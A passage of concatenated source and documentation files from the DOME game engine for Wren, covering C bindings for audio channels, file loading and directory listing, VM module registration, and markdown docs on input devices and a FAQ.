AUDIO_CHANNEL* channel = CHANNEL_getData(base); wrenEnsureSlots(vm, 1); wrenSetSlotString(vm, 0, channel->soundId); } internal void AUDIO_CHANNEL_getLength(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; CHANNEL* base; if (!AUDIO_ENGINE_get(data, ref, &base)) { return; } AUDIO_CHANNEL* channel = CHANNEL_getData(base); wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, channel->audio->length); } internal void AUDIO_CHANNEL_getPosition(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, AUDIO_ENGINE_getPosition(data, ref)); } internal void AUDIO_CHANNEL_setLoop(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; ASSERT_SLOT_TYPE(vm, 1, BOOL, "loop"); AUDIO_ENGINE_setLoop(data, ref, wrenGetSlotBool(vm, 1)); } internal void AUDIO_CHANNEL_getLoop(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; wrenEnsureSlots(vm, 1); wrenSetSlotBool(vm, 0, AUDIO_ENGINE_getLoop(data, ref)); } internal void AUDIO_CHANNEL_setPosition(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; ASSERT_SLOT_TYPE(vm, 1, NUM, "position"); AUDIO_ENGINE_setPosition(data, ref, round(wrenGetSlotDouble(vm, 1))); } internal void AUDIO_CHANNEL_setVolume(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; ASSERT_SLOT_TYPE(vm, 1, NUM, "volume"); AUDIO_ENGINE_setVolume(data, ref, wrenGetSlotDouble(vm, 1)); } internal void AUDIO_CHANNEL_getVolume(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; wrenSetSlotDouble(vm, 0, AUDIO_ENGINE_getVolume(data, ref)); } internal void AUDIO_CHANNEL_setPan(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; ASSERT_SLOT_TYPE(vm, 1, NUM, "pan"); AUDIO_ENGINE_setPan(data, ref, wrenGetSlotDouble(vm, 1)); } internal void AUDIO_CHANNEL_getPan(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, AUDIO_ENGINE_getPan(data, ref)); } internal void AUDIO_CHANNEL_finalize(void* data) {} internal double dbToVolume(double dB) { return pow(10.0, 0.05 * dB); } internal double volumeToDb(double volume) { return 20.0 * log10(volume); } <file_sep>/src/modules/io.c typedef struct { bool ready; size_t length; char* data; } DBUFFER; typedef struct { bool complete; bool error; WrenVM* vm; WrenHandle* bufferHandle; } ASYNCOP; internal void ASYNCOP_allocate(WrenVM* vm) { // Get a handle to the Stat class. We'll hang on to this so we don't have to // look it up by name every time. wrenEnsureSlots(vm, 2); wrenSetSlotHandle(vm, 1, bufferClass); DBUFFER* buffer = (DBUFFER*)wrenSetSlotNewForeign(vm, 1, 1, sizeof(DBUFFER)); buffer->data = NULL; buffer->length = 0; buffer->ready = false; ASYNCOP* op = (ASYNCOP*)wrenSetSlotNewForeign(vm, 0, 0, sizeof(ASYNCOP)); op->vm = vm; // This is a handle to our specific buffer, not the DataBuffer class op->bufferHandle = wrenGetSlotHandle(vm, 1); op->complete = false; op->error = false; } internal void ASYNCOP_finalize(void* data) { ASYNCOP* op = data; wrenReleaseHandle(op->vm, op->bufferHandle); } internal void ASYNCOP_getComplete(WrenVM* vm) { ASYNCOP* op = (ASYNCOP*)wrenGetSlotForeign(vm, 0); wrenEnsureSlots(vm, 1); wrenSetSlotBool(vm, 0, op->complete); } internal void ASYNCOP_getResult(WrenVM* vm) { ASYNCOP* op = (ASYNCOP*)wrenGetSlotForeign(vm, 0); wrenEnsureSlots(vm, 1); wrenSetSlotHandle(vm, 0, op->bufferHandle); } internal void DBUFFER_capture(WrenVM* vm) { if (bufferClass == NULL) { wrenGetVariable(vm, "io", "DataBuffer", 0); bufferClass = wrenGetSlotHandle(vm, 0); } } internal void DBUFFER_allocate(WrenVM* vm) { wrenEnsureSlots(vm, 1); DBUFFER* buffer = (DBUFFER*)wrenSetSlotNewForeign(vm, 0, 0, sizeof(DBUFFER)); buffer->data = NULL; buffer->length = 0; buffer->ready = false; } internal void DBUFFER_finalize(void* data) { DBUFFER* buffer = (DBUFFER*) data; if (buffer->ready && buffer->data != NULL) { free(buffer->data); } } internal void DBUFFER_getLength(WrenVM* vm) { DBUFFER* buffer = wrenGetSlotForeign(vm, 0); wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, buffer->length); } internal void DBUFFER_getReady(WrenVM* vm) { DBUFFER* buffer = wrenGetSlotForeign(vm, 0); wrenEnsureSlots(vm, 1); wrenSetSlotBool(vm, 0, buffer->ready); } internal void DBUFFER_getData(WrenVM* vm) { DBUFFER* buffer = wrenGetSlotForeign(vm, 0); wrenEnsureSlots(vm, 1); wrenSetSlotBytes(vm, 0, buffer->data, buffer->length); } typedef struct { WrenVM* vm; WrenHandle* opHandle; WrenHandle* bufferHandle; char name[256]; size_t length; char* buffer; } TASK_DATA; internal void FILESYSTEM_loadAsync(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, STRING, "file path"); // Thread: main INIT_TO_ZERO(ABC_TASK, task); TASK_DATA* taskData = malloc(sizeof(TASK_DATA)); const char* path = wrenGetSlotString(vm, 1); strncpy(taskData->name, path, 255); taskData->name[255] = '\0'; // TODO We probably need to hold a handle to the op taskData->vm = vm; taskData->opHandle = wrenGetSlotHandle(vm, 2); ASYNCOP* op = wrenGetSlotForeign(vm, 2); taskData->bufferHandle = op->bufferHandle; taskData->buffer = NULL; taskData->length = 0; ENGINE* engine = (ENGINE*)wrenGetUserData(vm); task.type = TASK_LOAD_FILE; task.data = taskData; ABC_FIFO_pushTask(&engine->fifo, task); } internal void FILESYSTEM_loadEventHandler(void* data) { TASK_DATA* task = data; // Thread: Async ENGINE* engine = (ENGINE*)wrenGetUserData(task->vm); task->buffer = ENGINE_readFile(engine, task->name, &task->length); SDL_Event event; SDL_memset(&event, 0, sizeof(event)); event.type = ENGINE_EVENT_TYPE; event.user.code = EVENT_LOAD_FILE; event.user.data1 = task; // TODO: Use this to handle errors in future? event.user.data2 = NULL; SDL_PushEvent(&event); } internal void FILESYSTEM_saveSync(WrenVM* vm) { int length; ASSERT_SLOT_TYPE(vm, 1, STRING, "file path"); ASSERT_SLOT_TYPE(vm, 2, STRING, "file data"); const char* path = wrenGetSlotString(vm, 1); const char* data = wrenGetSlotBytes(vm, 2, &length); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ENGINE_WRITE_RESULT result = ENGINE_writeFile(engine, path, data, length); if (result == ENGINE_WRITE_PATH_INVALID) { size_t len = 22 + strlen(path); char message[len]; snprintf(message, len, "Could not find file: %s", path); VM_ABORT(vm, message); return; } } internal void FILESYSTEM_loadSync(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, STRING, "file path"); const char* path = wrenGetSlotString(vm, 1); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); size_t length; char* data = ENGINE_readFile(engine, path, &length); if (data == NULL) { size_t len = 22 + strlen(path); char message[len]; snprintf(message, len, "Could not find file: %s", path); VM_ABORT(vm, message); return; } wrenEnsureSlots(vm, 1); wrenSetSlotBytes(vm, 0, data, length); free(data); } internal void FILESYSTEM_loadEventComplete(SDL_Event* event) { // Thread: Main TASK_DATA* task = event->user.data1; WrenVM* vm = task->vm; wrenEnsureSlots(vm, 4); wrenSetSlotHandle(vm, 1, task->opHandle); ASYNCOP* op = (ASYNCOP*)wrenGetSlotForeign(vm, 1); wrenSetSlotHandle(vm, 2, task->bufferHandle); DBUFFER* buffer = (DBUFFER*)wrenGetSlotForeign(vm, 2); buffer->data = task->buffer; buffer->length = task->length; buffer->ready = true; op->complete = true; // Free resources and handles wrenReleaseHandle(vm, task->opHandle); free(task); } internal void FILESYSTEM_listFiles(WrenVM* vm) { const char* path = wrenGetSlotString(vm, 1); bool shouldFree; const char* fullPath = resolvePath(path, &shouldFree); tinydir_dir dir; int result = tinydir_open(&dir, fullPath); if (shouldFree) { free((void*)fullPath); } if (result == -1) { VM_ABORT(vm, "Directory could not be opened"); } else { wrenEnsureSlots(vm, 2); wrenSetSlotNewList(vm, 0); while (dir.has_next) { tinydir_file file; tinydir_readfile(&dir, &file); if (!file.is_dir) { // Only files wrenSetSlotString(vm, 1, file.name); // Append slot 1 to the list in slot 0 wrenInsertInList(vm, 0, -1, 1); } tinydir_next(&dir); } } tinydir_close(&dir); } internal void FILESYSTEM_listDirectories(WrenVM* vm) { const char* path = wrenGetSlotString(vm, 1); bool shouldFree; const char* fullPath = resolvePath(path, &shouldFree); tinydir_dir dir; int result = tinydir_open(&dir, fullPath); if (shouldFree) { free((void*)fullPath); } if (result == -1) { VM_ABORT(vm, "Directory could not be opened"); } else { wrenEnsureSlots(vm, 2); wrenSetSlotNewList(vm, 0); while (dir.has_next) { tinydir_file file; tinydir_readfile(&dir, &file); if (file.is_dir) { // Only directories wrenSetSlotString(vm, 1, file.name); // Append slot 1 to the list in slot 0 wrenInsertInList(vm, 0, -1, 1); } tinydir_next(&dir); } } tinydir_close(&dir); } internal void FILESYSTEM_getPrefPath(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, STRING, "organisation"); ASSERT_SLOT_TYPE(vm, 2, STRING, "application name"); const char* org = wrenGetSlotString(vm, 1); const char* app = wrenGetSlotString(vm, 2); char* path = SDL_GetPrefPath(org, app); if (path != NULL) { wrenSetSlotString(vm, 0, path); SDL_free(path); } else { wrenSetSlotString(vm, 0, BASEPATH_get()); } } internal void FILESYSTEM_getBasePath(WrenVM* vm) { wrenSetSlotString(vm, 0, BASEPATH_get()); } internal void FILESYSTEM_createDirectory(WrenVM *vm) { const char* path = wrenGetSlotString(vm, 1); mode_t mode = 0777; bool shouldFree; const char* fullPath = resolvePath(path, &shouldFree); int result = mkdirp(fullPath, mode); if (shouldFree) { free((void*)fullPath); } if (result == -1) { VM_ABORT(vm, "Directory could not be created"); } } <file_sep>/docs/modules/input.md [< Back](.) input ================ The `input` module allows you to retrieve the state of input devices such as the keyboard, mouse and game controllers. It contains the following classes: * [DigitalInput](#digitalinput) * [Keyboard](#keyboard) * [Mouse](#mouse) * [GamePad](#gamepad) ## DigitalInput An instance of `DigitalInput` represents an input such as a keyboard key, mouse button or controller button, which can be either "pressed" or "unpressed". ### Instance Methods #### `repeat(): Void` Causes the current state of the input to be repeated, which can affect the `justPressed` property. This is useful in certain scenarios where an input's state may be tested repeatedly, but before the user has had a chance to release the input. #### `reset(): Void` Resets the input state, as if the input was just set to no longer be down. This is useful in certain scenarios where an input's state may be tested repeatedly, but before the user has had a chance to release the input. ### Instance Fields #### `static down: Boolean` This is true if the digital input is "pressed" or otherwise engaged. #### `static justPressed: Boolean` Returns true if the input was "pressed" down on this tick. #### `static previous: Boolean` This gives you the value of "down" on the previous tick, since input was last processed. (Depending on game loop lag, input may be processed once for multiple update ticks.) #### `static repeats: Number` This counts the number of ticks that an input has been engaged for. If the input isn't engaged, this should be zero. ## Keyboard ### Static Fields #### `static allPressed: Map<string, DigitalInput>` This returns a map containing the key names and corresponding `DigitalInput` objects, for all keys which are currently "down". ### Static Methods #### `static [name]: DigitalInput` This returns a digital input of a valid name. See `Keyboard.isKeyDown` for a list of valid names. #### `static isButtonPressed(key: String): Boolean` #### `static isKeyDown(key: String): Boolean` Returns true if the named key is pressed. The key uses the SDL key name, which can be referenced [here](https://wiki.libsdl.org/SDL_Keycode). ## Mouse ### Static Fields #### `static allPressed: Map<string, DigitalInput>` This returns a map containing the key names and corresponding `DigitalInput` objects, for all keys which are currently "down". #### `static hidden: Boolean` Controls whether the mouse cursor is shown or hidden. You can set and read from this field. #### `static pos: Vector` #### `static position: Vector` Returns a vector of _(Mouse.x, Mouse.y)_ for convenience. #### `static relative: Boolean` If set to true, the mouse is placed into relative mode. In this mode, the mouse will be fixed to the center of the screen. You can set and read from this field. This changes the behaviour of the `x` and `y` fields. #### `static scroll: Vector` Returns a vector of _(scrollX, scrollY)_, for convenience. #### `static scrollX: Number` The total distance the mouse wheel has scrolled horizontally in the past frame. Left is negative and right is positive. #### `static scrollY: Number` The total distance the mouse wheel has scrolled vertically in the past frame. Left is negative and down is positive. #### `static x: Number` The x position relative to the Canvas. This accounts for the window being resized and the viewport moving. If `Mouse.relative` is set, this will be the relative change of the mouse x position since the previous tick. #### `static y: Number` The y position relative to the Canvas. This accounts for the window being resized and the viewport moving. If `Mouse.relative` is set, this will be the relative change of the mouse y position since the previous tick. ### Static Methods #### `static [name]: DigitalInput` This returns a digital input of a valid name. See `Mouse.isButtonPressed` for a list of valid names. #### `static isButtonPressed(name: String/Number): Boolean` Returns true if the named mouse button is pressed. You can use an index from 1-5 (button 0 is invalid) or a lowercase name: * `left` * `middle` * `right` * `x1` * `x2` ## GamePad You can use a game pad as input for your games. DOME expects a game pad similar to those used by popular games consoles, with a D-Pad, face buttons, triggers and analog sticks. ### Static Fields #### `all: List<GamePad>` Returns a list of GamePad objects representing all attached gamepads. #### `next: GamePad` Returns a GamePad representing an arbitrary attached gamepad. This isn't guarenteed to return the same object every time, so you should cache it. ### Static Methods #### `[id]: GamePad` This will return an object representing a GamePad. You can then read the state of that gamepad using the instance methods below. If no gamepads are attached, you will receive a "dummy" object which will report null or empty values. ### Instance Fields #### `allPressed: Map<string, DigitalInput>` This returns a map containing the key names and corresponding `DigitalInput` objects, for all keys which are currently "down". #### `attached: Boolean` This returns true if the gamepad is still attached to the system. #### `id: Number` Returns the instance id for this gamepad, which can be used to fetch it using `GamePad[id]`. #### `name: String` If the gamepad is attached, this returns the SDL internal name for that device. ### Instance Methods #### `[name]: DigitalInput` This returns a digital input of a valid name. See `GamePad.isButtonPressed` for a list of valid names. #### `isButtonPressed(button: String): Boolean` Returns true if the named button is pressed. Valid button names are: * `left` - D-Pad Left * `right` - D-Pad Right * `up` - D-Pad Up * `down` - D-Pad Down * `A` - A Button * `B` - B Button * `X` - X Button * `Y` - Y Button * `back` - Back Button (Often referred to as "Select") * `start` - Start Button * `guide` - Guide Button (On an XBox controller, this is the XBox button) * `leftstick` - Clicking the left stick * `rightstick` - Clicking the right stick * `leftshoulder` - Left shoulder button * `rightshoulder` - Right shoulder button These button names are case insensitive. #### `getTrigger(side: String): Number` Gets the current state of the trigger on the specified `side`, as a number between 0.0 and 1.0. Valid sides are `left` and `right`. #### `getAnalogStick(side: String): Vector` Gets the current state of the specified analog stick as a Vector, with `x` and `y` values, which are normalised as values between -1.0 and 1.0. Valid sides are `left` and `right`. #### `rumble(strength: Number, duration: Number): Void` If the gamepad is able to vibrate, it will vibrate with a `strength`, clamped between `0.0` and `1.0`, for a `duration` of milliseconds. Rumble and haptic feedback is dependant on platform drivers. <file_sep>/docs/faq.md [< Back](.) Frequently Asked Questions ================= ## Why Wren? Wren is a great language for making games in: * Wren has a simple syntax, and a small core API, so it's easy to learn and work with. * Dynamic typing, which makes writing code easy, for fast prototyping. * The language runtime is designed to be fast, which is perfect for games. * Wren supports functional and object-oriented programming paradigms, making it possible to express your ideas clearly. * Finally, it's fun! ## What makes DOME comfortable? DOME has been designed to provide simple APIs for making games, so that you feel comfortable, whatever you're making. It aims to rely on as few dependencies as possible, easy to build on most platforms and games made with DOME should be easy to share! ## Have any games been made with DOME? Sort of! Take a look: * There's an [example game](https://github.com/domeengine/dome/tree/main/examples/spaceshooter) in the GitHub repository, which shows off a number of features. It's based on [this tutorial](https://ztiromoritz.github.io/pico-8-shooter/) for the PICO-8. * Check out [this repository](https://github.com/domeengine/dome-examples) for example games taken from "Code the Classics", but ported from Python and pygame to Wren and DOME. * A entry to "A Game By It's Cover 2018": [Grid](https://avivbeeri.itch.io/grid) - [Source](https://github.com/avivbeeri/grid) * [Station Salvage](https://avivbeeri.itch.io/station-salvage), a fine 7DRL 2020 entry. * [CyberRunner](https://github.com/Sandvich/CyberRunner), an experimental endless runner (WIP) * A entry to "A Game By It's Cover 2020": [ALLNIGHTER](https://avivbeeri.itch.io/allnighter) - Parts of ALLNIGHTER's development were live streamed, with recordings available [here](https://www.youtube.com/channel/UCAk93TqgFFQLabjRsxp6bSA). <file_sep>/src/engine.h // Forward-declaring some methods for interacting with the AudioEngine // for managing memory and initialization struct AUDIO_ENGINE_t; internal struct AUDIO_ENGINE_t* AUDIO_ENGINE_init(void); internal void AUDIO_ENGINE_free(struct AUDIO_ENGINE_t*); typedef struct { int64_t x; int64_t y; int64_t w; int64_t h; } DOME_RECT; typedef struct { bool relative; int x; int y; int scrollX; int scrollY; } ENGINE_MOUSE_STATE; typedef struct { double avgFps; double alpha; int32_t elapsed; FILE* logFile; size_t errorBufLen; size_t errorBufMax; char* errorBuf; } ENGINE_DEBUG; typedef struct { bool makeGif; uint32_t* gifPixels; volatile bool frameReady; char* gifName; } ENGINE_RECORDER; typedef struct { size_t height; size_t width; uint32_t* pixels; } PIXEL_BUFFER; typedef struct { void* pixels; uint32_t width; uint32_t height; int32_t offsetX; int32_t offsetY; DOME_RECT clip; } CANVAS; typedef struct ENGINE_t { ENGINE_RECORDER record; SDL_Window* window; SDL_Renderer *renderer; SDL_Texture *texture; SDL_Rect viewport; CANVAS canvas; PIXEL_BUFFER blitBuffer; ABC_FIFO fifo; MAP moduleMap; // PLUGIN_MAP pluginMap; PLUGIN_COLLECTION plugins; mtar_t* tar; bool running; char** argv; size_t argc; bool lockstep; ENGINE_MOUSE_STATE mouse; int exit_status; struct AUDIO_ENGINE_t* audioEngine; bool initialized; bool debugEnabled; bool vsyncEnabled; ENGINE_DEBUG debug; } ENGINE; typedef enum { EVENT_NOP, EVENT_LOAD_FILE, EVENT_WRITE_FILE, EVENT_WRITE_FILE_APPEND } EVENT_TYPE; typedef enum { TASK_NOP, TASK_PRINT, TASK_LOAD_FILE, TASK_WRITE_FILE, TASK_WRITE_FILE_APPEND } TASK_TYPE; typedef enum { ENGINE_WRITE_SUCCESS, ENGINE_WRITE_PATH_INVALID } ENGINE_WRITE_RESULT; global_variable uint32_t ENGINE_EVENT_TYPE; <file_sep>/src/vm.c internal WrenForeignClassMethods VM_bind_foreign_class(WrenVM* vm, const char* moduleName, const char* className) { WrenForeignClassMethods methods; // Assume an unknown class. methods.allocate = NULL; methods.finalize = NULL; ENGINE* engine = (ENGINE*)wrenGetUserData(vm); MAP moduleMap = engine->moduleMap; MAP_getClassMethods(&moduleMap, moduleName, className, &methods); return methods; } internal WrenForeignMethodFn VM_bind_foreign_method( WrenVM* vm, const char* module, const char* className, bool isStatic, const char* signature) { // This file is seperate because it has a Copyright notice with it. #include "signature.c.inc" ENGINE* engine = (ENGINE*)wrenGetUserData(vm); MAP moduleMap = engine->moduleMap; return MAP_getFunction(&moduleMap, module, fullName); } internal WrenLoadModuleResult VM_load_module(WrenVM* vm, const char* name) { WrenLoadModuleResult result = { 0 }; ENGINE* engine = (ENGINE*)wrenGetUserData(vm); MAP moduleMap = engine->moduleMap; if (DEBUG_MODE) { ENGINE_printLog(engine, "Loading module %s from ", name); } // Check against wren optional modules #if WREN_OPT_META if (strcmp(name, "meta") == 0) { if (DEBUG_MODE) { ENGINE_printLog(engine, "wren\n", name); } return result; } #endif #if WREN_OPT_RANDOM if (strcmp(name, "random") == 0) { if (DEBUG_MODE) { ENGINE_printLog(engine, "wren\n", name); } return result; } #endif // Check against dome modules char* module = (char*)MAP_getSource(&moduleMap, name); if (module != NULL) { if (DEBUG_MODE) { ENGINE_printLog(engine, "dome\n", name); } result.source = module; return result; } // Otherwise, search on filesystem char* extension = ".wren"; char* path; path = malloc(strlen(name)+strlen(extension)+1); /* make space for the new string (should check the return value ...) */ strcpy(path, name); /* add the extension */ strcat(path, extension); /* add the extension */ if (DEBUG_MODE) { ENGINE_printLog(engine, "%s\n", engine->tar ? "egg bundle" : "filesystem"); } // This pointer becomes owned by the WrenVM and freed later. char* file = ENGINE_readFile(engine, path, NULL); free(path); result.source = file; return result; } // Debug output for VM internal void VM_write(WrenVM* vm, const char* text) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); ENGINE_printLog(engine, "%s", text); } internal void VM_error(WrenVM* vm, WrenErrorType type, const char* module, int line, const char* message) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); if (DEBUG_MODE == false) { MAP moduleMap = engine->moduleMap; if (module != NULL && MAP_getModule(&moduleMap, module) != NULL) { return; } } size_t bufSize = 255; char error[bufSize]; if (type == WREN_ERROR_COMPILE) { snprintf(error, bufSize, "%s:%d: %s\n", module, line, message); } else if (type == WREN_ERROR_RUNTIME) { snprintf(error, bufSize, "Runtime error: %s\n", message); } else if (type == WREN_ERROR_STACK_TRACE) { snprintf(error, bufSize, " %d: %s\n", line, module); } size_t len = strlen(error); while ((len + engine->debug.errorBufLen) >= engine->debug.errorBufMax) { char* oldBuf = engine->debug.errorBuf; engine->debug.errorBufMax += 64; engine->debug.errorBuf = realloc(engine->debug.errorBuf, sizeof(char) * engine->debug.errorBufMax); if (engine->debug.errorBufMax == 64) { engine->debug.errorBuf[0] = '\0'; } if (engine->debug.errorBuf == NULL) { // If we can't allocate more memory, rollback to the old pointer. engine->debug.errorBuf = oldBuf; engine->debug.errorBufMax -= 64; return; } } strcat(engine->debug.errorBuf, error); engine->debug.errorBufLen += len; } internal const char* VM_resolve_module_name(WrenVM* vm, const char* importer, const char* name) { const char* localName = name; if (strlen(name) > 1) { while (localName[0] == '.' && localName[1] == '/') { localName = localName + 2; } } return path_normalize(localName); } internal WrenVM* VM_create(ENGINE* engine) { WrenConfiguration config; wrenInitConfiguration(&config); config.writeFn = VM_write; config.errorFn = VM_error; config.bindForeignMethodFn = VM_bind_foreign_method; config.bindForeignClassFn = VM_bind_foreign_class; config.resolveModuleFn = VM_resolve_module_name; config.loadModuleFn = VM_load_module; WrenVM* vm = wrenNewVM(&config); wrenSetUserData(vm, engine); // Set modules // StringUtils MAP_addFunction(&engine->moduleMap, "stringUtils", "static StringUtils.toLowercase(_)", STRING_UTILS_toLowercase); MAP_lockModule(&engine->moduleMap, "stringUtils"); // DOME MAP_addFunction(&engine->moduleMap, "dome", "static Process.f_exit(_)", PROCESS_exit); MAP_addFunction(&engine->moduleMap, "dome", "static Process.args", PROCESS_getArguments); MAP_addFunction(&engine->moduleMap, "dome", "static Window.resize(_,_)", WINDOW_resize); MAP_addFunction(&engine->moduleMap, "dome", "static Window.title=(_)", WINDOW_setTitle); MAP_addFunction(&engine->moduleMap, "dome", "static Window.vsync=(_)", WINDOW_setVsync); MAP_addFunction(&engine->moduleMap, "dome", "static Window.lockstep=(_)", WINDOW_setLockStep); MAP_addFunction(&engine->moduleMap, "dome", "static Window.title", WINDOW_getTitle); MAP_addFunction(&engine->moduleMap, "dome", "static Window.fullscreen=(_)", WINDOW_setFullscreen); MAP_addFunction(&engine->moduleMap, "dome", "static Window.fullscreen", WINDOW_getFullscreen); MAP_addFunction(&engine->moduleMap, "dome", "static Window.width", WINDOW_getWidth); MAP_addFunction(&engine->moduleMap, "dome", "static Window.height", WINDOW_getHeight); MAP_addFunction(&engine->moduleMap, "dome", "static Window.fps", WINDOW_getFps); MAP_addFunction(&engine->moduleMap, "dome", "static Window.f_color=(_)", WINDOW_setColor); MAP_addFunction(&engine->moduleMap, "dome", "static Window.f_color", WINDOW_getColor); MAP_addFunction(&engine->moduleMap, "dome", "static Version.toString", VERSION_getString); MAP_lockModule(&engine->moduleMap, "dome"); // Canvas MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_pset(_,_,_)", CANVAS_pset); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_pget(_,_)", CANVAS_pget); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_rectfill(_,_,_,_,_)", CANVAS_rectfill); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_cls(_)", CANVAS_cls); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_rect(_,_,_,_,_)", CANVAS_rect); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_line(_,_,_,_,_,_)", CANVAS_line); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_circle(_,_,_,_)", CANVAS_circle); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_circlefill(_,_,_,_)", CANVAS_circle_filled); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_ellipse(_,_,_,_,_)", CANVAS_ellipse); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_ellipsefill(_,_,_,_,_)", CANVAS_ellipsefill); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_print(_,_,_,_)", CANVAS_print); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.offset(_,_)", CANVAS_offset); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.clip(_,_,_,_)", CANVAS_clip); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.f_resize(_,_,_)", CANVAS_resize); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.width", CANVAS_getWidth); MAP_addFunction(&engine->moduleMap, "graphics", "static Canvas.height", CANVAS_getHeight); MAP_lockModule(&engine->moduleMap, "graphics"); // Font MAP_addClass(&engine->moduleMap, "font", "FontFile", FONT_allocate, FONT_finalize); MAP_addClass(&engine->moduleMap, "font", "RasterizedFont", FONT_RASTER_allocate, FONT_RASTER_finalize); MAP_addFunction(&engine->moduleMap, "font", "RasterizedFont.f_print(_,_,_,_)", FONT_RASTER_print); MAP_addFunction(&engine->moduleMap, "font", "RasterizedFont.antialias=(_)", FONT_RASTER_setAntiAlias); MAP_lockModule(&engine->moduleMap, "font"); // Image MAP_addClass(&engine->moduleMap, "image", "ImageData", IMAGE_allocate, IMAGE_finalize); MAP_addFunction(&engine->moduleMap, "image", "ImageData.f_loadFromFile(_)", IMAGE_loadFromFile); MAP_addFunction(&engine->moduleMap, "image", "ImageData.f_getPNG()", IMAGE_getPNG); MAP_addFunction(&engine->moduleMap, "image", "ImageData.draw(_,_)", IMAGE_draw); MAP_addFunction(&engine->moduleMap, "image", "ImageData.width", IMAGE_getWidth); MAP_addFunction(&engine->moduleMap, "image", "ImageData.height", IMAGE_getHeight); MAP_addFunction(&engine->moduleMap, "image", "ImageData.f_pget(_,_)", IMAGE_pget); MAP_addFunction(&engine->moduleMap, "image", "ImageData.f_pset(_,_,_)", IMAGE_pset); MAP_addClass(&engine->moduleMap, "image", "DrawCommand", DRAW_COMMAND_allocate, DRAW_COMMAND_finalize); MAP_addFunction(&engine->moduleMap, "image", "DrawCommand.draw(_,_)", DRAW_COMMAND_draw); MAP_lockModule(&engine->moduleMap, "image"); // Audio MAP_addClass(&engine->moduleMap, "audio", "SystemChannel", AUDIO_CHANNEL_allocate, AUDIO_CHANNEL_finalize); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.loop=(_)", AUDIO_CHANNEL_setLoop); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.loop", AUDIO_CHANNEL_getLoop); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.pan=(_)", AUDIO_CHANNEL_setPan); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.pan", AUDIO_CHANNEL_getPan); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.volume", AUDIO_CHANNEL_getVolume); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.volume=(_)", AUDIO_CHANNEL_setVolume); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.position=(_)", AUDIO_CHANNEL_setPosition); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.state=(_)", AUDIO_CHANNEL_setState); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.audio=(_)", AUDIO_CHANNEL_setAudio); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.stop()", AUDIO_CHANNEL_stop); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.state", AUDIO_CHANNEL_getState); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.length", AUDIO_CHANNEL_getLength); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.position", AUDIO_CHANNEL_getPosition); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.soundId", AUDIO_CHANNEL_getSoundId); MAP_addFunction(&engine->moduleMap, "audio", "SystemChannel.id", AUDIO_CHANNEL_getId); // AudioData MAP_addClass(&engine->moduleMap, "audio", "AudioData", AUDIO_allocate, AUDIO_finalize); MAP_addFunction(&engine->moduleMap, "audio", "AudioData.length", 